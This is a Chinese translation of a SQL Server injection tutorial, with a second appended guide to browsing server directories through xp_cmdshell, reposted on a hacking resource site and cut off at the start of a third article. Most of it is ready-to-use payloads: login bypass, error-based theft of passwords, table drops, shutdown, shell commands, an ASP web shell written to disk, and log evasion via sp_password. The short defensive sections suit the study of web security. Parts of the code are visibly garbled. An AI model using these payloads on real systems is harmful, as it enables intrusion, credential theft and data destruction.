第一次翻译,水平有限,难免有错,请不吝指正。转载请保留信息完整。

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

摘要:

这份文档是详细讨论SQL注入技术,它适应于比较流行的

IIS+ASP+SQLSERVER平台。它讨论了哪些SQL语句能通过各种各样的方法注

入到应用程序中,并且记录与攻击相关的数据确认和数据库锁定。

这份文档的预期读者为与数据库通信的WEB程序的开发者和那些扮演审核

WEB应用程序的安全专家。

介绍:

SQL是一种用于关系数据库的结构化查询语言。它分为许多种,但大多数都松

散地基于美国国家标准化组织最新的标准SQL-92。典型的执行语句是query,它

能够收集比较有达标性的记录并返回一个单一的结果集。SQL语言可以修改数

据库结构(数据定义语言)和操作数据库内容(数据操作语言)。在这份文档中,

我们将特别讨论SQLSERVER所使用的Transact-SQL语言。

当一个攻击者能够通过往query中插入一系列的sql语句来操作数据写入到应用

程序中去,我们管这种方法定义成SQL注入。

一个典型的SQL语句如下:

Select id,forename,surname from authors

这条语句将返回authors表中所有行的id,forename和surname列。这个结果可

以被限制,例如:

Select id,forename,surname from authors where forename'john' and surname='smith'

需要着重指明的是字符串'john'和'smith'被单引号限制。明确的说,forename和

surname字段是被用户提供的输入限制的,攻击者可以通过输入值来往这个查询

中注入一些SQL语句,

如下:

Forename:jo'hn

Surname:smith

查询语句变为:

Select id,forename,surname from authors where forename='jo'hn' and surname='smith'

当数据库试图去执行这个查询时,它将返回如下错误:

Server:Msg 170, Level 15, State 1, Line 1

Line 1:Incorrect syntax near 'hn'

造成这种结果的原因是插入了.作为定界符的单引号。数据库尝试去执行'hn',但

是失败。如果攻击者提供特别的输入如:

Forename:jo';drop table authors—

Surname:

结果是authors表被删除,造成这种结果的原因我们稍后再讲。

看上去好象通过从输入中去掉单引号或者通过某些方法避免它们都可以解决这

个问题。这是可行的,但是用这种方法做解决方法会存在几个困难。第一,并不

是所有用户提供的数据都是字符串。如果用户输入的是通过用户id来查询

author,那我们的查询应该像这样:

Select id,forename,surname from authors where id=1234

在这种情况下,一个攻击者可以非常简单地在数字的结尾添加SQL语句,在其

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

他版本的SQL语言中,使用各种各样的限定符号;在数据库管理系统JET引擎

中,数据可以被使用'#'限定。第二,避免单引号尽管看上去可以,但是是没必要

的,原因我们稍后再讲。

我们更进一步地使用一个简单的ASP登陆页面来指出哪些能进入SQLSERVER

数据库并且尝试鉴别进入一些虚构的应用程序的权限。

这是一个提交表单页的代码,让用户输入用户名和密码:

Login Page

Login

Username:

width=100>

Password:

size=100 withd=100>

下面是process_的代码,它是用来控制登陆的:

<%@LANGUAGE = Jscripq %>

<%

function trace( str ) {

if( ("debug") == "true" )

( str );

}

function Login( cn ) {

var username;

var password;

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

username = ("username");

password = ("password");

var rso = Object("set");

var sql = "select * from users where username = '" + username + "' and password = '"

+ password + "'"; trace( "query: " + sql );

( sql, cn );

if () {

();

%>



ACCESS DENIED

<% return; }

else {

Session("username") = "" + rso("username");

%>

ACCESS GRANTED

Welcome, <% (rso("Username"));

( "" ); }

}

function Main() { //Set up connection

var username

var cn = object( "tion" );

tiontimeout = 20;

( "localserver", "sa", "password" );

username = new String( ("username") );

if( > 0) {

Login( cn );

}

();

}

Main();

%>

出现问题的地方是process_中产生查询语句的部分:

Var sql="select * from users where username='"+username+"' and

password='"+password+"'";

如果用户输入的信息如下:

Username:';drop table users—

Password:

数据库中表users将被删除,拒绝任何用户进入应用程序。'—'符号在Transact-SQL

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

中表示忽略'—'以后的语句,';'符号表示一个查询的结束和另一个查询的开始。'—'

位于username字段中是必须的,它为了使这个特殊的查询终止,并且不返回错误。

攻击者可以只需提供他们知道的用户名,就可以以任何用户登陆,使用如下输入:

Username:admin'—

攻击者可以使用users表中第一个用户,输入如下:

Username:' or 1=1—

更特别地,攻击者可以使用完全虚构的用户登陆,输入如下:

Username:' union select 1,'fictional_user','some_password',1—

这种结果的原因是应用程序相信攻击者指定的是从数据库中返回结果的一部分。

通过错误消息获得信息

这个几乎是David Litchfi

eld首先发现的,并且通过作者渗透测试的;后来David

写了一份文档,后来作者参考了这份文档。这些解释讨论了‘错误消息‘潜在的机

制,使读者能够完全地了解它,潜在地引发他们的能力。

为了操作数据库中的数据,攻击者必须确定某些数据库和某些表的结构。例如我

们可以使用如下语句创建user表:

Create talbe users(

Id int,

Username varchar(255),

Password varchar(255),

Privs int

)

然后将下面的用户插入到users表中:

Insert into users values(0,'admin','r00tr0x!',0xffff)

Insert into users values(0,'guest','guest',0x0000)

Insert into users values(0,'chris','password',0x00ff)

Insert into users values(0,'fred','sesame',0x00ff)

如果我们的攻击者想插入一个自己的用户。在不知道users表结构的情况下,他

不可能成功。即使他比较幸运,至于privs字段不清楚。攻击者可能插入一个'1',

这样只给他自己一个低权限的用户。

幸运地,如果从应用程序(默认为AS

P行为)返回错误消息,那么攻击者可以

确定整个数据库的结构,并且可以以程序中连接SQLSERVER的权限度曲任何

值。

(下面以一个简单的数据库和asp脚本来举例说明他们是怎么工作的)

首先,攻击者想获得建立用户的表的名字和字段的名字,要做这些,攻击者需要

使用select语法的having子句:

Username:' having 1=1—

这样将会出现如下错误:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column '' is invalid in

the select list because it is not contained in an aggregate function and there is no

GROUP BY clause.

/process_, line 35

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

因此现在攻击者知道了表的名字和第一个地段的名字。他们仍然可以通过把字段

放到group by子句只能感去找到一个一个字段名,如下:

Username:' group by having 1=1—

出现的错误如下:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'me' is

invalid in the select list because it is not contained in either an aggregate function or

the GROUP BY clause.

/process_, line 35

最终攻击者得到了usernam

e字段后:

‘ group by ,me,rd, having 1=1—

这句话并不产生错误,相当于:

select * from users where username=''

因此攻击者现在知道查询涉及users表,按顺序使用列

'id,username,password,privs'。

能够确定每个列的类型是非常有用的。这可以通过使用类型转化来实现,例如:

Username:' union select sum(username) from users—

这利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句。尝

试去计算sum会得到以下消息:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate

operation cannot take a varchar data type as an argument.

/process_, line 35

这告诉了我们'username'字段的类型是varchar。如果是另一种情况,我们尝试去

计算sum()的是数字类型,我们得到的错误消息告诉我们两个集合的字段数量不

相等。

Username:' union select sum(id) from users—

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement

containing a UNION operator must have an equal number of expressions in their

target lists.

/process_, line 35

我们可以用这种技术近似地确定数据库中任何表中的任何字段的类型。

这样攻击者就可以写一个好的insert查询,例如:

Username:';insert into users values(666,'attacker','foobar','0xffff)—

这种技术的潜在影响不仅仅是这些。攻击者可以利用这些错误消息显示环境信息

或数据库。通过运行一列一定格式的字符串可以获得标准的错误消息:

select * from master ..sysmessages

解释这些将实现有趣的消息。

一个特别有用的消息关系到类型转化。如果你尝试将一个字符串转化成一个整型

数字,那么字符串的所有内容会返回到错误消息中。例如在我们简单的登陆页面

中,在username后面会显示出SQLSERVER的版本和所运行的操作系统信息:

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

Username:' union select @@version,1,1,1—

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000

00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on

Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.

/process_, line 35

这句尝试去将内置的'@@

version'常量转化成一个整型数字,因为users表中的第

一列是整型数字。

这种技术可以用来读取数据库中任何表的任何值。自从攻击者对用户名和用户密

码比较感兴趣后,他们比较喜欢去从users表中读取用户名,例如:

Username:' union select min(username),1,1,1 from users where username>'a'—

这句选择users表中username大于'a'中的最小值,并试图把它转化成一个整型数

字:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

varchar value 'admin' to a column of data type int.

/process_, line 35

因此攻击者已经知道用户

admin是存在的。这样他就可以重复通过使用where子

句和查询到的用户名去寻找下一个用户。

Username:' union select min(username),1,1,1 from users where username>'admin'—

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

varchar value 'chris' to a column of data type int.

/process_, line 35

一旦攻击者确定了用户名,他就可以开始收集密码:

Username:' union select password,1,1,1 from users where username='admin'—

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

varchar value 'r00tr0x!' to a column of data type int.

/process_, line 35

一个更高级的技术是将所有用户名和密码连接长一个单独的字符串,然后尝试把

它转化成整型数字。这个例子指出:Transavt-SQL语法能够在不改变相同的行的

意思的情况下把它们连接起来。下面的脚本将把值连接起来:

begin declare @ret varchar(8000)

set @ret=':'

select @ret=@ret+' '+username+'/'+password from users where

username>@ret

select @ret as ret into foo

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

end

攻击者使用这个当作用户名登陆(都在一行)

Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+'

'+username+'/'+password from users where username>@ret select @ret as ret into foo

end—

这就创建了一个foo表,里面只有一个单独的列'ret',里面存放着我们得到的用

户名和密码的字符串。正常情况下,一个低权限的用户能够在同一个数据库中创

建表,或者创建临时数据库。

然后攻击者就可以取得我们要得到的字符串:

Username:' union select ret,1,1,1 from foo—

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column

of data type int.

/process_, line 35

然后丢弃(删除)表来清楚脚印:

Username:'; drop table foo—

这个例子仅仅是这种技术的一个表面的作用。没必要说,如果攻击者能够从数据

库中获得足够的错误西,他们的工作就变的无限简单。

获得更高的权限

一旦攻击者控制了数据库,他们就想利用那个权限去获得网络上更高的控制权。

这可以通过许多途径来达到:

1. 在数据库服务器上,以SQLSERVER权限利用xp_cmdshell扩展存储过程执行

命令。

2. 利用xp_regread扩展存储过程去读注册表的键值,当然包括SAM键(前提是

SQLSERVER是以系统权限运行的)

3. 利用其他存储过程去改变服务器

4. 在连接的服务器上执行查询

5. 创建客户扩展存储过程去在SQLSERVER

进程中执行溢出代码

6. 使用'bulk insert'语法去读服务器上的任意文件

7. 使用bcp在服务器上建立任意的文本格式的文件

8. 使用sp_OACreate,sp_OAMethod和sp_OAGetProperty系统存储过程去创建

ActiveX应用程序,使它能做任何ASP脚本可以做的事情

这些只列举了非常普通的可能攻击方法的少量,攻击者很可能使用其它方法。我

们介绍收集到的攻击关于SQL服务器的明显攻击方法,为了说明哪方面可能并

被授予权限去注入SQL.。我们将依次处理以上提到的各种方法:

[xp_cmdshell]

许多存储过程被创建在SQLSERVER中,执行各种各样的功能,例如发送电子

邮件和与注册表交互。

Xp_cmdshell是一个允许

执行任意的命令行命令的内置的存储过程。例如:

p_cmdshell 'dir'

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

将获得SQLSERVER进程的当前工作目录中的目录列表。

p_cmdshell 'net user'

将提供服务器上所有用户的列表。当SQLSERVER正常以系统帐户或域帐户运

行时,攻击者可以做出更严重的危害。

[xp_regread]

另一个有用的内置存储过程是xp_regXXXX类的函数集合。

Xp_regaddmultistring

Xp_regdeletekey

Xp_regdeletevalue

Xp_regenumkeys

Xp_regenumvalues

Xp_regread

Xp_regremovemultistring

Xp_regwrite

这些函数的使用方法举例如下:

exec xp_regread

HKEY_LOCAL_MACHINE,'SYSTEMCurrentControlSetServiceslanmanserverpara

meters', 'nullsessionshares'

这将确定什么样的会话连接在服务器上是可以使用的

exec xp_regenumvalues

HKEY_LOCAL_MACHINE,'SYSTEMCurrentControlSetServicessnmpparametersva

lidcommunities'

这将显示服务器上所有SNMP团体配置。在SNMP团体很少被更改和在许多主

机间共享的情况下,有了这些信息,攻击者或许会重新配置同一网络中的网络设

备。

这很容易想象到一个攻击者可以利用这些函数读取SAM,修改系统服务的配置,

使它下次机器重启时启动,或在下次任何用户登陆时执行一条任意的命令。

[其他存储过程]

xp_servicecontrol

过程允许用户启动,停止,暂停和继续服务:

p_servicecontrol 'start','schedule'

p_servicecontrol 'start','server'

下表中列出了少量的其他有用的存储过程:

Xp_availablemedia 显示机器上有用的驱动器

Xp_dirtree 允许获得一个目录树

Xp_enumdsn 列举服务器上的ODBC数据源

Xp_loginconfig Reveals information about the security mode of the server

Xp_makecab 允许用户在服务器上创建一个压缩文件

Xp_ntsec_enumdomains 列举服务器可以进入的域

Xp_terminate_process 提供进程的进程ID,终止此

进程

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

[Linked Servers]

SQL SERVER提供了一种允许服务器连接的机制,也就是说允许一台数据库服

务器上的查询能够操作另一台服务器上的数据。这个链接存放在

vers表中。如果一个连接的服务器已经被设置成使用

'sp_addlinkedsrvlogin'过程,当前可信的连接不用登陆就可以访问到服务器。

'openquery'函数允许查询脱离服务器也可以执行。

[Custom extended stored procedures]

扩展存储过程应用程序接口是相当简单的,创建一个携带恶意代码的扩展存储过

程动态连接库是一个相当简单的任务。使用命令行有几个方法可以上传动态连接

库到SQL服务器上,还有其它包括了多种自动通讯的通讯机制,比如HTTP下

载和FTP脚本。

一旦动态连接库文件在机器上运行即SQL服务器能够被访问——这不需要它自

己是SQL服务器——攻击者就能够使用下面的命令添加扩展存储过程(这种情

况下,我们的恶意存储过程就是一个能输出服务器的系统文件的小的木马):

Sp_addextendedproc 'xp_webserver','c:tempxp_'

在正常的方式下,这个扩展存储过程可以被运行:

exec xp_webserver

一旦这个程序被运行,可以使用下面的方法将它除去:

xp_dropextendedproc 'xp_webserver'

[将文本文件导入表]

使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。简单地创建这个

表:

create table foo( line varchar(8000) )

然后执行bulk insert操作把文件中的数据插入到表中,如:

bulk insert foo from 'c:inetpubwwwrootprocess_'

可以使用上述的错误消息技术,或者使用'union'选择,使文本文件中的数据与应

用程序正常返回的数据结合,将数据取回。这个用来获取存放在数据库服务器上

的脚本源代码或者ASP脚本代码是非常有用的。

[使用bcp建立文本文件]

使用'bulk insert'的相对技术可以很容易建立任意的文本文件。不幸的是这需要命

令行工具。'bcp',即'bulk copy program'

既然 bcp可以从SQL服务进程外访问数据库,它需要登陆。这代表获得权限不

是很困难,既然攻击者能建立,或者利用整体安全机制(如果服务器配置成可以

使用它)。

命令行格式如下:

bcp "select * from text..foo" queryout c: –c

-Slocalhost –Usa –Pfoobar

'S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,这里为'foobar'

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

[ActiveX automation scripqs in SQL SERVER]

SQL SERVER中提供了几个内置的允许创建ActiveX自动执行脚本的存储过程。

这些脚本和运行在windows脚本解释器下的脚本,或者ASP脚本程序一样——

他们使用VBscripq或j书写,他们创建自动执行对象并和它们交互。一个自动

执行脚本使用这种方法书写可以在Transact-SQL中做任何在ASP脚本中,或者

WSH脚本中可以做的任何事情。为了阐明这鞋,这里提供了几个例子:

(1)这个例子使用''对象建立了一个记事本的实例:

example

declare @o int

exec sp_oacreate '',@o out

exec sp_oamethod @o,'run',NULL,''

我们可以通过指定在用户名后面来执行它:

Username:'; declare @o int exec sp_oacreate '',@o out exec

sp_oamethod @o,'run',NULL,''—

(2)这个例子使用'stemobject'对象读一个已知的文本文件:

--stemobject example – read a known file

declare @o int, @f int, @t int, @ret int

declare @line varchar(8000)

exec sp_oacreate 'stemobject', @o out

exec sp_oamethod @o, 'opentextfile', @f out, 'c:', 1

exec @ret=sp_oamethod @f,'readline',@line out

while(@ret=0)

begin

print @line

exec @ret=sp_oamethod @f,'readline',@line out

end

(3)这个例子创建了一个能执行通过提交到的任何命令:

-- stemobject example – create a 'run this'.asp file

declare @o int,@f int,@t int,@ret int

exec sp_oacreate 'stemobject',@o out

exec sp_oamethod @o,'createtextfile',@f out,'c:',1

exec @ret=sp_oamethod @f,'writeline',NULL,'<% set

o=object(""):(tring("cmd")) %>'

需要指出的是如果运行的环境是WIN NT4+IIS4平台上,那么通过这个程序运行

的命令是以系统权限运行的。在IIS5中,它以一个比较低的权限

IWAM_XXXaccount运行。

(4)这些例子阐述了这个技术的适用性;它可以使用'ext'对象引起

SQL SERVER发声:

declare @o int,@ret int

exec sp_oacreate 'ext',@o out

exec sp_oamethod @o,'register',NULL,'foo','bar'

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

exec sp_oasetproperty @o,'speed',150

exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to,us',528

waitfor delay '00:00:05'

我们可以在我们假定的例子中,通过指定在用户名后面来执行它(注意这个例子

不仅仅是注入一个脚本,同时以admin权限登陆到应用程序):

Username:admin';declare @o int,@ret int exec sp_oacreate 'ext',@o out

exec sp_oamethod @o,'register',NULL,'foo','bar' exec sp_oasetproperty

@o,'speed',150 exec sp_oamethod @o,'speak',NULL,'all your sequel servers are

belong to us',528 waitfor delay '00:00:05'--

[存储过程]

传说如果一个ASP应用程序在数据库中使用了存储过程,那么SQL注入是不可

能的。这句话只对了一半,这要看ASP脚本中调用这个存储过程的方式。

本质上,如果一个有参数的查询被执行 ,并且用户提供的参数通过安全检查才

放入到查询中,那么SQL注入明显是不可能发生的。但是如果攻击者努力影响

所执行查询语句的非数据部分,这样他们就可能能够控制数据库。

比较好的常规的标准是:

?如果一个ASP脚本能够产生一个被提交的SQL查询字符串,即使它使用了存

储过程也是能够引起SQL注入的弱点。

?如果一个ASP脚本使用一个过程对象限制参数的往存储过程中分配(例如ADO

的用于参数收集的command对象),那么通过这个对象的执行,它一般是安全

的。

明显地,既然新的攻击技术始终地被发现,好的惯例仍然是验证用户所有的输入。

为了阐明存储过程的查询注入,执行以下语句:

sp_who '1' select * from sysobjects

or

sp_who '1';select * from sysobjects

任何一种方法,在存储过程后,追加的查询依然会执行。

[高级SQL注入]

通常情况下,一个web应用程序将会过滤单引号(或其他符号),或者限定用

户提交的数据的长度。

在这部分,我们讨论一些能帮助攻击者饶过那些明显防范SQL注入,躲避被记

录的技术。

[没有单引号的字符串]

有时候开发人员会通过过滤所有的单引号来保护应用程序,他们可能使用

VBscripq中的replace函数或类似:

function escape(input)

input=replace(input,"'","''")

escape=input

end function

无可否认地这防止了我们所有例子的攻击,再除去';'符号也可以帮很多忙。但是

在一个大型的应用程序中,好象个别值期望用户输入的是数字。这些值没有被限

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

定,因此为攻击者提供了一个SQL注入的弱点。

如果攻击者想不使用单引号产生一个字符串值,他可以使用char函数,例如:

insert into users values(666,

char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73),

char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73),

0xffff)

这就是一个能够往表中插入字符串的不包含单引号的查询。

淡然,如果攻击者不介意使用一个数字用户名和密码,下面的语句也同样会起作

用:

insert into users values(667,

123,

123,

oxffff)

SQL SERVER自动地将整型转化为varchar型的值。

[Second-Order SQL Injection]

即使应用程序总是过滤单引号,攻击者依然能够注入SQL同样通过应用程序使

数据库中的数据重复使用。

例如,攻击者可能利用下面的信息在应用程序中注册:

Username:admin'—

Password:password

应用程序正确过滤了单引号,返回了一个类似这样的insert语句:

insert into users values(123,'admin''—','password',0xffff)

我们假设应用程序允许用户修改自己的密码。这个ASP脚本程序首先保证用户

设置新密码前拥有正确的旧密码。代码如下:

username = escape( ("username") );

oldpassword = escape( ("oldpassword") );

newpassword = escape( ("newpassword") );

var rso = Object("set");

var sql = "select * from users where username = '" + username + "' and password = '"

+ oldpassword + "'";

( sql, cn );

if ()

{

设置新密码的代码如下:

sql = "update users set password = '" + newpassword + "' where username = '" +

rso("username") + "'"

rso("username")为登陆查询中返回的用户名

当username为admin'—时,查询语句为:

update users set password = 'password' where username='admin'—'

这样攻击者可以通过注册一个admin'—的用户来根据自己的想法来设置admin的

密码。

这是一个非常严重的问题,目前在大型的应用程序中试图去过滤数据。最好的解

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

决方法是拒绝非法输入,这胜于简单地努力去修改它。这有时会导致一个问题,

非法的字符在那里是必要的,例如在用户名中包含'符号,例如

O'Brien

从一个安全的观点来看,最好的解答是但引号不允许存在是一个简单的事实。如

果这是无法接受的话,他们仍然要被过滤;在这种情况下,保证所有进入SQL

查询的数据都是正确的是最好的方法。

如果攻击者不使用任何应用程序莫名其妙地往系统中插入数据,这种方式的攻击

也是可能的。应用程序可能有email接口,或者可能在数据库中可以存储错误日

志,这样攻击者可以努力控制它。验证所有数据,包括数据库中已经存在的数据

始终是个好的方法。确认函数将被简单地调用,例如:

if(not isValid("email",tring("email"))) then

或者类似的方法。

[长度限制]

为了给攻击者更多的困难,有时输入数据的长度是被限制的。当这个阻碍了攻击

时,一个小的SQL可以造成很严重的危害。例如:

Username:';shutdown—

这样只用12个输入字符就将停止SQL SERVER实例。另一个例子是:

drop table

如果限定长度是在过滤字符串后应用将会引发另一个问题。假设用户名被限定

16个字符,密码也被限定16个字符,那么下面的用户名和密码结合将会执行上

面提到的shutdown命令:

Username:aaaaaaaaaaaaaaa'

Password:'; shutdown—

原因是应用程序尝试去过滤用户名最后的单引号,但是字符串被切断成16个字

符,删除了过滤后的一个单引号。这样的结果就是如果密码字段以单引号开始,

它可以包含一些SQL语句。既然这样查询看上去是:

select * from users where username='aaaaaaaaaaaaaaa'' and password=''';shutdown—

实际上,查询中的用户名已经变为:

aaaaaaaaaaaaaaa' and password='

因此最后的SQL语句会被执行。

[审计]

SQL SERVER包含了丰富的允许记录数据库中的各种事件的审计接口,它包含

在sp_traceXXX类的函数中。特别有意思的是能够记录所有SQL语句,然后在

服务器上执行的T-SQL的事件。如果这种审计是被激活的,我们讨论的所有注

入的SQL查询都将被记录在数据库中,一个熟练的数据库管理员将能够知道发

生了什么事。不幸地,如果攻击者追加以下字符串:

Sp_password

到一个Transact-SQL语句中,这个审计机制记录日志如下:

--'sp_password' was found in the text of this event.

-- The text has been replaced with this comment for security reasons.

这种行为发生在所有的T-SQL日记记录中,即使'sp_password'发生在一个注释

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

中。这个过程打算通过sp_password隐藏用户的密码,但这对于一个攻击者来说

是非常有用的方法。

因此,为了隐藏所有注入,攻击者需要简单地在'—'注释字符后追加sp_password,

例如:

Username:admin'—sp_password

事实上一些被执行的SQL将被记录,但是查询本身将顺利地从日志中消失。

[防范]

这部分讨论针对记述的攻击的一些防范。我们将讨论输入确认和提供一些简单的

代码,然后我们将从事SQL SERVER锁定。

[输入验证]

输入验证是一个复杂的题目。比较有代表性的是,自从过于严密地确认倾向于引

起部分应用程序的暂停,输入确认问题很难被解决,在项目开发中投入很少的注

意力在输入确认上。输入确认不是倾向于将它加入到应用程序的功能当中,因此

它一般会被忽视。

下面是一个含有简单代码的讨论输入确认的大纲。这个简单的代码不能直接用于

应用程序中,但是它十分清晰地阐明了不同的策略。

不同的数据确认方法可以按以下分类:

1) 努力修改数据使它成为正确的

2) 拒绝被认为是错误的输入

3) 只接收被认为是正确的输入

第一种情况有一些概念上的问题;首先,开发人员没必要知道那些是错误数据,

因为新的错误数据的形式始终被发现。其次,修改数据会引起上面描述过的数据

的长度问题。最后,二次使用的问题包括系统中已经存在数据的重新使用。

第二种情况也存在第一种情况中的问题;已知的错误输入随着攻击技术的发展变

化。

第三种情况可能是三种中最好的,但是很难实现。

从安全角度看合并第二种方法和第三种方法可能是最好的方法——只允许正确

的输入,然后搜索输入中已知的错误数据。

带有连接符号的姓名的问题对于体现合并两种方法的必要性是一个好的例子:

Quentin Bassington-Bassington

我们必须在正确输入中允许连接符号,但是我们也意识到字符序列'—'对SQL

SERVER很重要。

当合并修改数据和字符序列确认时,会出现另一个问题。例如,如果我们应用一

个错误过滤在除去单引号之后去探测'—','select'和'union',攻击者可以输入:

uni'on sel'ect @@version-'-

既然单引号被除去,攻击者可以简单地散布单引号在自己的错误的字符串中躲避

被发现。

这有一些确认代码的例子:

方法一——过滤单引号

function escape(input)

input=replace(input,"'","''")

escape=input

end function

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

方法二——拒绝已知的错误输入

function validate_string(input)

known_bad=array("select","insert","update","delete","drop","—","'")

validate_string=true

for i=lbound(known_bad) to ubound(known_bad)

if(instr(1,input,known_bad(i),vbtextcompare)<>0) then

validate_string=false

exit function

end if

next

end function

方法三——只允许正确的输入

function validatepassword(input)

good_password_chars=”

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

validatepassword=true

for i=1 to len(input)

c=mid(input,I,1)

if(InStr(good_password_chars,c)=0) then

validatepassword=false

exit function

end if

next

end function

[SQL SERVER锁定]

在这指出的重要一点是锁定SQL SERVER是必要的;外面的是不安全的。这是

一个但创建SQL SERVER时需要做的事情的简短的列表:

1.确定连接服务器的方法

a.确定你所使用的网络库是可用的,那么使用"Network Utility"

2.确定哪些帐户是存在的

a.为应用程序的使用创建一个低权限的帐户

b.删除不必要的帐户

c.确定所有帐户有强壮的密码;执行密码审计

3.确定哪些对象存在

a.许多扩展存储过程能被安全地移除。如果这样做了,应该移除包含在扩展存储

过程代码中的'.dll'文件

b.移除所有示例数据库——例如'northwind'和'pubs'数据库

4.确定哪写帐户能过使用哪些对象

a.应用程序进入数据库所使用的帐户应该有保证能够使用它需要的对象的最小

权限

5.确定服务器的补丁

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

a.针对SQL SERVER有一些缓冲区溢出和格式化字符串攻击,也有一些其他的

安全补丁发布。应该存在很多。

6.确定什么应该被日志记录,什么应该在日志中结束。

如何利用Sql 注入遍历目录 关于如何取得注入入口不再说了,前面的帖子都说

得很详细了,我们就如何浏览全部目录和文件进行研究当System_user为"sa"时,

具有全部权限,包括执行_cmdshell,如果这个存储过程没有改名或删

除,我们可以利用它来遍历全部目录,执行如下:先创建一个临时表:temp '5;create

table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3

nvarchar(255));-- 接下来:(1)我们可以利用xp_availablemedia来获得当前所有

动器,并存入temp表中: 5';insert temp exec _availablemedia;-- 我们

可以通过查询temp的内容来获得驱动器列表及相关信息(2)我们可以利用

xp_subdirs获得子目录列表,并存入temp表中: 5';insert into temp(id) exec

_subdirs 'c:';-- (3)我们还可以利用xp_dirtree获得所有子目录的目

录树结构,并寸入temp表中: 5';insert into temp(id,num1) exec ma

_dirtree

'c:';-- 这样就可以成功的浏览到所有的目录(文件夹)列表:如果我们需要查看

某个文件的内容,可以通过执行xp_cmdsell: 5';insert into temp(id) exec

_cmdshell 'type c:';-- 浏览temp就可以看到文

件的内容了! 当然,如果xp_cmshell能够执行,我们可以用它来完成: 5';insert

into temp(id) exec _cmdshell 'dir c:';-- 5';insert into temp(id) exec

_cmdshell 'dir c: *.asp /s/a';-- 通过xp_cmdshell我们可以看到所有想

看到的,包括W3svc 5';insert into temp(id) exec _c

mdshell 'cscripq

C: enum w3svc' 但是,如果不是Admin的权限,我

们还可以使用 5';insert into temp(id,num1) exec _dirtree 'c:';-- 如果大

家还有什么好的方法欢迎与我讨论研究

SQL Injection技巧的演练收藏

原著: sk@

出处: /

翻译人: demonalex

翻译人Email: demonalex_at_

+上 /

摘要:

下文是为了帮助那些希望能掌握这个漏洞的运用、并想得知如何保护自己免受这

种漏洞攻击的人了解该漏

洞的本质而写的。

详细资料:

1.0绪论

当一台机器只开放了80端口(这里指的是提供HTTP服务)时,可能你的大多数漏

洞扫描器都不能给到你很多

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

有价值的信息(漏洞信息),倘若这台机器的管理员是经常为他的服务器打PATCH

的话,我们只好把攻击的

矛头指向WEB服务攻击了。SQL注入攻击是WEB攻击类型中的一种,这种攻击

没有什么特殊的要求,只需要

对方提供正常的HTTP服务,且不需要理会管理员是否是个“PATCH狂”。这类攻

击主要是针对某种WEB处理

程序(如ASP,JSP,PHP,CGI等等)的而进行。

这篇文章不是在为阁下介绍什么新“玩意”,SQL注入攻击以前就一直广为流传

着。我之所以现在才写这

篇文章是因为我想把我最近实验所得的某些经验与积累记录下来,希望能给予读

者某些参考吧。你也可以

在“9.0我从哪里可以得到更多相关资料?”的栏目中找到更多其他人所写的、关

于SQL注入技巧的相关资

料。

1.1什么是SQL注入?

这种攻击的要诀在于将SQL的查询/行为命令通过‘嵌入’的方式放入合法的

HTTP提交请求中从而达到攻击

者的某种意图。现在很多的动态网页都会从该网页使用者的请求中得到某些参

数,然后动态的构成SQL请

求发给数据库的。举个例子,当有某个用户需要通过网页上的用户登陆(用户身

份验证)时,动态网页会将

该用户提交上来的用户名与密码加进SQL询问请求发给数据库,用于确认该用

户提交的身份验证信息是否

有效。在SQL注入攻击的角度看来,这样可以使我们在发送SQL请求时通过修

改用户名与/或密码值的‘领

域’区来达到攻击的目的。

1.2SQL注入需要什么(工具等)呢?

一个(些)网页浏览器。

2.0什么信息是你所需要找寻的呢?

首先你需要找到允许提交数据的页面,如:登陆页面、搜索页面、反馈页面、等

等。有的时候,某些HTML

页面会通过POST命令将所需要的参数传递给其他的ASP页面。所以,有的时

候你不会在URL路径中看到相关

